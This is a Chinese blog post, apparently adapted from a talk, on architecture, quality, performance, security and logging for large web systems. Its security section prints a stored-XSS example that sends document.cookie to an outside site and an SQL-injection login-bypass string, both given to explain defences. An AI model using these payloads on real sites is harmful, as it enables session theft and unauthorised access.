開發人員學Linux之終結篇:大型系統開發經驗談

一、前言


這篇文章來源於我的一個 PPT,而這個 PPT 是源於一個朋友的一次邀請,朋友邀請我爲一個公司做一堂大約 2 小時的技術講座,我選定的方向是《如何開發一個大型系統


在這裏我對大型系統的定義爲:日均 PV 在千萬級以上,而京東和淘寶這類則屬於巨型系統了。


因此在本篇中講述的都是基於一些開源免費的技術實現,至於那些通過 F5 硬件加速、DNS 來實現負載均衡、CDN 加速等需要花錢購買的技術或者服務則不再本篇介紹範圍之類。


本來此篇是作爲《開發人員學Linux》系列的終結篇最後出現的,但是考慮到在此過程中我可能會由於時間和精力原因無法全部完成或者由於關注點在別的方向而無法終結,所以提前把這篇先寫了。


二、從兩個系統說起


2.1 某移動互聯網公司服務器端架構圖


wKioL1lLKxryNpbSAALmcwD0HLo188.png-wh_50


上圖是某移動互聯網公司的服務器端架構圖,它支撐了國內外數百萬客戶端的訪問請求,它有如下特點:


1、多層級集羣,從Web服務器層、NoSQL層級數據庫層都實現了集羣,這樣使得每一層的響應時間大大縮短,從而能夠在單位時間內響應更多請求;


2、NoSQL應用(Memcached),在NoSQL領域Memcached和Redis都有大量的用戶羣,在這個架構裏使用的是Memcached。


3、數據庫讀寫分離,當前大多數數據庫服務器支持主從機制或訂閱發佈機制,這樣一來就爲讀寫分離創造了條件,減少了數據庫競爭死鎖出發條件,使響應時間大爲縮短(非數據庫集羣情況下還可以考慮分庫機制)。


4、負載均衡,Nginx實現Web服務器的負載均衡,Memcached自帶負載均衡實現。(注:Nginx負載均衡在本系列應涉及,感興趣請移步觀看)。


2.2 某公司生產管理系統架構圖


wKiom1lLKy2BWHGQAARYFiX2MiM778.png-wh_50 


上圖是爲某公司的一個分散型系統做的架構設計,這家公司擁有多個跨市、跨省的生產片區,在各片區都有自己的生態車間,各片區與總公司之間通過數據鏈路連接。


這個系統的特點是所有的流水線上的產品都貼有唯一的條碼,在生產線的某個操作位操作之前都會掃描貼在產品上的條碼,系統會根據條碼做一些檢查工作,如:產品條碼是否應被使用過(比如之前應發貨給客戶過)、產品是否完成了本道工序之前的全部必須完成工序,如果滿足條件則記錄當前操作工序名稱、操作人、操作時間和操作結果等。


一件產品從上線到完成有數十道工序,而每月下線的產品有少則數十萬、多則數百萬,一個月下來的數據量也是不小的。特別是在跨廠區網絡不穩定的情況下如何保證對生產的影響最小。


本系統架構特點:


● 所有業務邏輯集中在服務器端,並以 Service 形式提供,這樣便於業務邏輯調整客戶端能及時得到最新更新;


部署 Service 的服務器採用集羣部署,Nginx 實現調度;


NoSQL 採用了 Redis,與 Memcached 相比,Redis 支持的數據類型更多,同時 Redis 帶有持久化功能,可以將每個條碼對應的產品的最終信息存儲在 Redis 當中,這樣一般的查詢工作(如條碼是否被使用、產品當前狀態)都可以在Redis中查詢而不是數據庫查詢,這樣大大減輕了數據庫壓力;


數據庫採用了主從機制,實現了讀寫分離,也是爲了提高響應速度;


使用了消息隊列 MQ和 ETL,將一些可以異步處理的動作存放在 MQ 中,然後由 ETL 來執行(比如訂單完成後以郵件形式通知相關人員);


實現了系統監控,通過 Zabbix 來對服務器、應用及網絡關鍵設備實行 7×24 小時監控,重大異常及時郵件通知IT支持人員。


由於總部其它地方生產規模較小,所以生產分佈未採用複雜架構,不過因爲從客戶處退回的不良產品都會在總部生產車間進行返修處理,因此總部生產系統需要保存分部生產車間數據,因此分部生產車間數據會同時寫進分部生產數據庫和分部 MQ 服務器,然後由總部 ETL 服務器讀取寫入到總部系統中。


在分部與總部網絡中斷的情況下分部系統仍可獨立工作,直到網絡恢復。


三、系統質量保證


3.1單元測試


wKiom1lLK0GC_GejAAId0Qq-Wi8396.png-wh_50 


單元測試是指對軟件中的最小可測試單元進行檢查和驗證。通常而言,一個單元測試是用於判斷某個特定條件(或者場景)下某個特定函數的行爲,常見的開發語言都有對應的單元測試框架,常見的單元測試工具:

Junit/Nunit/xUnit.Net/Microsoft.VisualStudio.TestTool


關於單元測試的重要性和如何編寫單元測試用例,在本篇就不詳述了,網上有大量相關的文章。總之,越大型的系統、越重要的系統,單元測試的重要性越大。


針對一些需要外部依賴的單元測試,比如需要 Web 容器等,可以使用 mock 測試,Java 測試人員可以使用EasyMock這個測試框架,其網址是:http://easymock.org/


3.2 代碼質量管理平臺


對於多人蔘與的團隊項目,雖然大多數情況下會有編碼規範拉指導大家如何編寫團隊風格一致的編碼,但是不能保證團隊中每個成員、尤其是後期加入的團隊成員仍能按照編碼規範來編寫代碼,因此需要有一個平臺來保證,在這裏推薦 SonarQube。


SonarQube 是一個開源平臺,用於管理源代碼的質量。Sonar 不只是一個質量數據報告工具,更是代碼質量管理平臺。支持的語言包括:Java、PHP、C#、C、Cobol、PL/SQL、Flex 等。主要特點:


代碼覆蓋:通過單元測試,將會顯示哪行代碼被選中

改善編碼規則

搜尋編碼規則:按照名字,插件,激活級別和類別進行查詢

項目搜尋:按照項目的名字進行查詢

對比數據:比較同一張表中的任何測量的趨勢


wKiom1lLK1PQAi0HAAMNrEX1KA0428.png-wh_50 


當然除了代碼質量管理平臺外,還有藉助源代碼管理系統,並且在每次提交代碼前進行代碼審覈,這樣每次代碼的異動都可以追溯出來。


我管理和經歷過的一些重要系統中採用過這樣的做法:除了管理所有程序代碼之外,還將系統中數據庫中的表、視圖、函數及存儲過程的創建都使用源代碼版本管理工具管控起來,而且粒度很小,每個對象的創建都是一個 SQL 文件。


這種方式雖然操作起來有些瑣碎,但對於代碼的變遷追溯非常方便。


四、系統性能保證


4.1 緩存


所謂緩存就是將一些頻繁使用、但改動相對不平凡的數據保存在內存中,每次更新這些數據的時候同時持久化到數據庫或文件系統,並同時更新到緩存中,查詢的時候儘可能利用緩存。


緩存的實現方法:自定義實現或利用NoSQL。


自定義實現:自定義實現可利用SDK中提供的類,如Dictionary等。

優點:可以局部提高查詢效率;

缺點:不能跨應用、跨服務器,僅限於單個應用;沒有較好緩存生命週期管理策略。


NoSQL

Memcached

優點:可以跨應用、跨服務器,有靈活的生命週期管理策略;支持高併發;支持分佈式。

缺點:不支持持久化,僅在內存存儲,重啓後數據丟失,需要“熱加載”;僅支持Key/Value.


Redis

優點:可以跨應用、跨服務器,有靈活的生命週期管理策略;支持高併發;支持集羣;支持持久化;支持Key/Value、List、Set、Hash數據結構;


以上幾種方法都存在一個特點:需要通過Key去尋找對應的Value、List、Set或Hash。


除了Memcached和Redis之外,還出現了一些NoSQL數據庫和支持NoSQL的數據庫,前者如MongoDB,後者如PostgreSQL(>V9.4),下面是一個MongoDB與PostgreSQL的NoSQL特性的對比:


wKiom1lLK2mzQB44AADUm1sIwx4393.png-wh_50


文檔型 NoSQL 數據庫的特點:


(1)不定義表結構

     即使不定義表結構,也可以像定義了表結構一樣使用,還省去了變更表結構的麻煩。


(2)可以使用複雜的查詢條件

     跟鍵值存儲不同的是,面向文檔的數據庫可以通過複雜的查詢條件來獲取數據,雖然不具備事務處理和Join這些關係型數據庫所具有的處理能力,但初次以外的其他處理基本上都能實現。


nosql 主要是提高效率,關係數據庫可以保證數據安全;各有使用場景,一般的企業管理系統,沒多少併發量沒必要使用 nosql,互聯網項目或要求併發的 nosql 使用比較多,但是最終重要的數據還是要保存到關係數據庫。


這也是爲什麼很多公司會同時使用 NoSQL 和關係型數據庫的原因。


4.2 異步


所謂異步就是調用一個方法後並不等該方法執行完畢後再繼續執行後續的操作,而是調用完畢後馬上等待用戶的其它指令。


打印機管理程序就是一個異步的例子,某個人可能有幾個數百頁的文檔需要打印,可以在打開一個文檔之後點擊打印,然後繼續打開另一個文檔繼續點打印。儘管打印數百頁文檔需要較長時間,但後續的打印請求會在打印管理程序中排隊,等第一個文檔打印完成後再繼續第二個文檔的打印。


異步有兩個層面:編程語言層面的異步和通過消息隊列等機制實現的異步。


語法層面異步:像Java/C#等大多數語言都支持異步處理


消息隊列實現異步

用消息隊列實現異步只是消息隊列的一個基本功能之一,消息隊列還具有如下功能:

解耦

靈活性 & 峯值處理能力

可恢復性

送達保證

排序保證

緩衝

理解數據流

異步通信


注:消息隊列成爲在進程或應用之間進行通信的最好形式。消息隊列隊列是創建強大的分佈式應用的關鍵。


常用消息隊列有如下,可根據系統特點和運維支持團隊的掌握程度選擇:


MSMQ

ActiveMQ

RabbitMQ

ZeroMQ

Kafka

MetaMQ

RocketMQ


4.3負載均衡


負載均衡是根據某種負載策略把請求分發到集羣中的每一臺服務器上,讓整個服務器羣來處理網站的請求。


常見負載均衡方案


Windows負載均衡:NLB

Linux負載均衡:LVS

Web負載均衡:Nginx

硬件級負載均衡:F5


wKiom1lLK4nxVnVxAAHz9zgVXpA891.png-wh_50

wKiom1lLK4qAWS2bAADAcvXCcvk874.png-wh_50wKioL1lLK4qjyVF8AADooLyuKcI632.png-wh_50


前面幾種都是免費的解決方案,F5 作爲一種硬件及解決方案在一般企業很少用到。我目前知道的僅有一家世界級飲料公司使用了 F5 作爲負載均衡解決方案,因爲這個方案據說相當昂貴。


4.4 讀寫分離


讀寫分離爲了確保數據庫產品的穩定性,很多數據庫擁有雙機熱備功能。


也就是,第一臺數據庫服務器,是對外提供增刪改業務的生產服務器;第二臺數據庫服務器,主要進行讀的操作。


原理:

讓主數據庫(master)處理事務性增、改、刪操作(INSERT、UPDATE、DELETE),而從數據庫(slave)處理SELECT查詢操作。


一般情況下我們是在代碼中進行處理,但目前也有不少商業中間件形式的讀寫分離中間件,能自動將讀寫數據庫操作調度到不同數據庫上。


wKioL1lLK6GDWtb4AAL4es19W8g411.png-wh_50


在大型系統中,有時候主、從數據庫都是一個集羣,這樣可以保證響應速度更快,同時集羣中單臺服務器故障也不影響整個系統對外的響應。


五、系統安全性保證


5.1XSS***


防範XSS***
XSS***類似於SQL注入***,***之前,我們先找到一個存在XSS漏洞的網站,XSS漏洞分爲兩種,一種是DOM Based XSS漏洞,另一種是Stored XSS漏洞。理論上,所有可輸入的地方沒有對輸入數據進行處理的話,都會存在XSS漏洞,漏洞的危害取決於***代碼的威力,***代碼也不侷限於script。


DOM Based XSS
DOM Based XSS是一種基於網頁DOM結構的***,該***特點是中招的人是少數人。


Stored XSS
Stored XSS是存儲式XSS漏洞,由於其***代碼已經存儲到服務器上或者數據庫中,所以受害者是很多人。假如有兩個頁面,一個負責提交內容,一個負責將提交的內容(論壇發帖、讀帖就是這種形式的典型):
提交內容:<script>window.open(“www.b.com?param=”+document.cookie)</script>
頁面內容:<%=request.getParameter("content")%>


這樣用戶在a站提交的東西,在顯示的時候如果不加以處理就會打開b站頁面將相關敏感內容顯示出來。
針對XSS***的防範辦法:
Html encode
特殊字符過濾:<,>

5.2 SQL注入


SQL Injection

所謂SQL注入式***,就是***者把SQL命令插入到Web表單的輸入域或頁面請求的查詢字符串,欺騙服務器執行惡意的SQL命令。


在某些表單中,用戶輸入的內容直接用來構造(或者影響)動態SQL命令,或作爲存儲過程的輸入參數,這類表單特別容易受到SQL注入式***。


例如我們在登錄一個系統時,在軟件底層按照如下方式查詢數據:
登錄SQL語句: SELECT COUNT(*) FROM Login WHERE UserName='admin' AND Password='123456‘
SELECT COUNT(*) FROM Login
WHERE UserName='admin'–
Password='123'


wKioL1lLK7eCTMy8AAEiIoumVvQ130.png-wh_50


針對SQL注入防範辦法:
數據輸入驗證
特殊字符過濾:特殊字符過濾
參數化SQL語句(包括存儲過程)
不使用sa級別賬戶作爲連接賬戶或限制連接IP


防範辦法:
Html encode
特殊字符過濾:<,>
 
5.3 CSRF***


CSRF(Cross-site request forgery)跨站請求僞造,也被稱爲“One Click Attack”或者Session Riding,通常縮寫爲CSRF或者XSRF,是一種對網站的惡意利用。


儘管聽起來像跨站腳本(XSS),但它與XSS非常不同,並且***方式幾乎相左。XSS利用站點內的信任用戶,而CSRF則通過僞裝來自受信任用戶的請求來利用受信任的網站。


與XSS***相比,CSRF***往往不大流行(因此對其進行防範的資源也相當稀少)和難以防範,所以被認爲比XSS更具危險性。


其核心策略是利用了瀏覽器Cookie或者服務器Session策略,盜取用戶身份。


針對CSRF***防範辦法:
表單Token
驗證碼
Referer檢查
關鍵操作身份確認

5.4 其它***


Error Code:即錯誤代碼回顯,許多Web服務器爲調試方便默認顯示詳盡錯誤信息,如錯誤發生的上下文、服務器及應用信息等,容易被惡意利用。


系統或者框架漏洞:如IIS6.0以下版本存在“JPG漏洞”;Apache Struts2服務在開啓動態方法調用任意方法漏洞(CVE-2016-3081);OpenSSL的heartbeat漏洞(CVE-2014-0160);Apache解析漏洞;Nginx(<V0.8.37)空字節代碼執行漏洞;IIS7.0及Nginx(<V0.8.37)畸形解析漏洞;文件上傳漏洞;路徑遍歷漏洞;


防範辦法:
上傳文件時對MIME進行檢查,必要情況下對上傳文件更名
及時關注安全網站及產品官方網站,發現漏洞及時打補丁
對Web Server運用的用戶角色權限進行限制
使用漏洞掃描工具模擬***


下面是一些我見過的被***後的系統截圖,如下圖是CCTV音樂頻道2008年被***的截圖:


wKioL1lLLCXATG7ZAACOl1_EaHE577.jpg-wh_50 


還有本人2008年前後搭建PHPWind運行的畫面:


wKiom1lLLDSwhKNbAAHHaegynWs261.png-wh_50 


上圖中是本人2006年前後搭建的一個論壇,有人利用系統漏洞註冊了很多用戶名爲空的用戶(其實是身份遺失),,然後又利用這些賬戶在論壇中大量發佈廣告、×××等違法違紀的帖子,因爲使用了一些不可見字符進行註冊的,在後臺無法管理,最後只好在數據庫中操作管理了。


六、開發相關的經驗教訓

6.1應用日誌記錄


以前團隊運維着一個老系統,系統中沒有日誌功能,而系統的操作人員的計算機水平又較低,每次打電話都是說系統不能用或者是一些根本無法快速定位原因的描述,每次接到求助後需要花費大量時間來分析定位原因,後來將系統中增加了日誌功能,並且在網絡狀態連通情況下可自動將錯誤日誌以郵件形式發送到負責同事組成的用戶組,自此以後處理這類問題的響應時間大大縮短了,雙方都很滿意。


現在已經有很多開源日誌庫,比如.NET的Log4Net,Java的Log4j,可以很輕鬆地配置啓用日誌功能。利用日誌組件可以將信息記錄到文件或數據庫,便於發現問題時根據上下文環境發現問題,這一點在調試多線程時尤其重要。


日誌級別:FATAL(致命錯誤)、ERROR(一般錯誤)、WARN(警告)、INFO(一般信息)、DEBUG(調試信息)。

注意:在調試環境中時日誌級別儘量低(warn/info),在生產環境中日誌級別儘量高(error),且對日誌文件大小一定要進行控制。不然也會產生問題。

案例:某國內有名的管業集團公司的一個系統的重要模塊發生問題,啓用了日誌功能以便通過日誌組件快速將問題定位並修復。


在發佈到生產環境時,運行一段時間之後發現程序運行效率相當低下,多位開發人員對模塊代碼進行性能分析未發現問題,大家發現同樣的數據量和操作在生產環境和開發環境效率差巨大,無意中發現生產服務器上日誌文件已超過5G!事後發現是由於疏忽未調高日誌級別且未對日誌進行控制,調整日誌模式爲按日記錄,問題解除。


6.2歷史記錄追蹤


代碼管控:

儘可能使用代碼管控工具對源代碼進行管控,如SVN/TFS/Git,如果有可能不但管控程序代碼,還要管控數據庫相關的SQL文件(包括初始化腳本及存儲過程和使用ORM框架中的Mapping文件),做到系統的一切變動皆有記錄。

代碼審覈:
任何人提交代碼都必須本人本地編譯、調試無誤後,再有人review後方可提交,且針對bug修復的提交需註明所修復的bug信息。

Bug記錄:
通過Bug記錄系統記錄整個bug的生命週期,包括髮現、修復、關閉。TFS本身支持bug記錄,開源系統中禪道也是一個不錯的Bug記錄工具。


七.總結

本篇主要是就係統從開發到最終部署運維過程中常用的技術、框架和方法做了一個總結,當然以上經驗總結來源本人從業以來所經歷的項目中的經驗和教訓,可能還有更好更完美的方案,在此權當拋磚引玉罷了。


聲明:本文首發於本人個人微信訂閱號:zhoujinqiaoIT,其後會同時在本人的CSDN、51CTO及oschina三處博客發佈,本人會負責在此四處答疑。


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章